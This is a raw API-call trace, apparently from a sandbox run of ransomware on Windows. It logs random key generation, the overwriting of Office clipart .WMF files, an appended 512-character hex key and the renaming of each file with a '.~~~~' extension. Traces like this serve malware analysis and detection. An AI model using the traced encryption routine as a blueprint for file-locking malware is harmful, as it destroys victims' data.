	[0103.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0103.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0103.170] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22316061059) returned 1
	[0103.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa72ca910, dwHighDateTime=0x1d60e1e)) 
	[0103.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0103.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0103.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0103.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863948
	[0103.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863948 | out: hHeap=0x300000) returned 1
	[0103.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867220
	[0103.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.171] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0103.172] GetLastError () returned 0x0
	[0103.172] GetLastError () returned 0x0
	[0103.172] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0103.172] GetLastError () returned 0x0
	[0103.172] GetLastError () returned 0x0
	[0103.192] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe434, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.192] WriteFile (in: hFile=0x11c, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x1bcc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x1f8fec0*=0x1bcc, lpOverlapped=0x0) returned 1
	[0103.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0103.193] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.193] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.193] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.194] CloseHandle (hObject=0x11c) returned 1
	[0103.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.~~~~")) returned 1
	[0103.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0103.195] GetLastError () returned 0x0
	[0103.475] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0103.492] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.492] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0103.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0103.493] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22348269269) returned 1
	[0103.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa75ea5f0, dwHighDateTime=0x1d60e1e)) 
	[0103.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0103.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0103.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0103.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ce78
	[0103.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ce78 | out: hHeap=0x300000) returned 1
	[0103.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28676e0
	[0103.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.493] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0103.494] GetLastError () returned 0x0
	[0103.494] GetLastError () returned 0x0
	[0103.494] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0103.494] GetLastError () returned 0x0
	[0103.494] GetLastError () returned 0x0
	[0103.499] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe26c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.499] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1d94, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1d94, lpOverlapped=0x0) returned 1
	[0103.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0103.501] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.501] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.501] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.501] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.501] CloseHandle (hObject=0x138) returned 1
	[0103.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.501] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.~~~~")) returned 1
	[0103.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0103.502] GetLastError () returned 0x0
	[0103.502] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0103.503] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.503] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0103.504] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22349376381) returned 1
	[0103.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7610750, dwHighDateTime=0x1d60e1e)) 
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ceb0
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ceb0 | out: hHeap=0x300000) returned 1
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867350
	[0103.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.504] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0103.504] GetLastError () returned 0x0
	[0103.505] GetLastError () returned 0x0
	[0103.505] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0103.505] GetLastError () returned 0x0
	[0103.505] GetLastError () returned 0x0
	[0103.506] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff270, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.507] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xd90, lpOverlapped=0x0) returned 1
	[0103.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0103.507] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.507] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.507] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.507] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.508] CloseHandle (hObject=0x138) returned 1
	[0103.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.508] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.~~~~")) returned 1
	[0103.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0103.509] GetLastError () returned 0x0
	[0103.510] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0103.511] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.511] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0103.511] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22350107680) returned 1
	[0103.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7610750, dwHighDateTime=0x1d60e1e)) 
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cee8
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cee8 | out: hHeap=0x300000) returned 1
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867810
	[0103.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.512] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0103.512] GetLastError () returned 0x0
	[0103.512] GetLastError () returned 0x0
	[0103.512] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0103.512] GetLastError () returned 0x0
	[0103.512] GetLastError () returned 0x0
	[0103.514] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffec78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.514] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1388, lpOverlapped=0x0) returned 1
	[0103.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0103.515] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.516] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.516] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.516] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.516] CloseHandle (hObject=0x138) returned 1
	[0103.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.516] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.~~~~")) returned 1
	[0103.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0103.517] GetLastError () returned 0x0
	[0103.518] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0103.519] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.519] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0103.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0103.519] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22350908365) returned 1
	[0103.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa76368b0, dwHighDateTime=0x1d60e1e)) 
	[0103.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0103.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0103.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0103.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cf20
	[0103.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf20 | out: hHeap=0x300000) returned 1
	[0103.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28678a8
	[0103.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.520] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0103.520] GetLastError () returned 0x0
	[0103.520] GetLastError () returned 0x0
	[0103.520] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0103.520] GetLastError () returned 0x0
	[0103.520] GetLastError () returned 0x0
	[0103.523] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd624, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.523] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x29dc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x29dc, lpOverlapped=0x0) returned 1
	[0103.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0103.524] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.524] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.524] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.524] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.524] CloseHandle (hObject=0x138) returned 1
	[0103.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0103.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.~~~~")) returned 1
	[0103.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0103.525] GetLastError () returned 0x0
	[0103.526] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
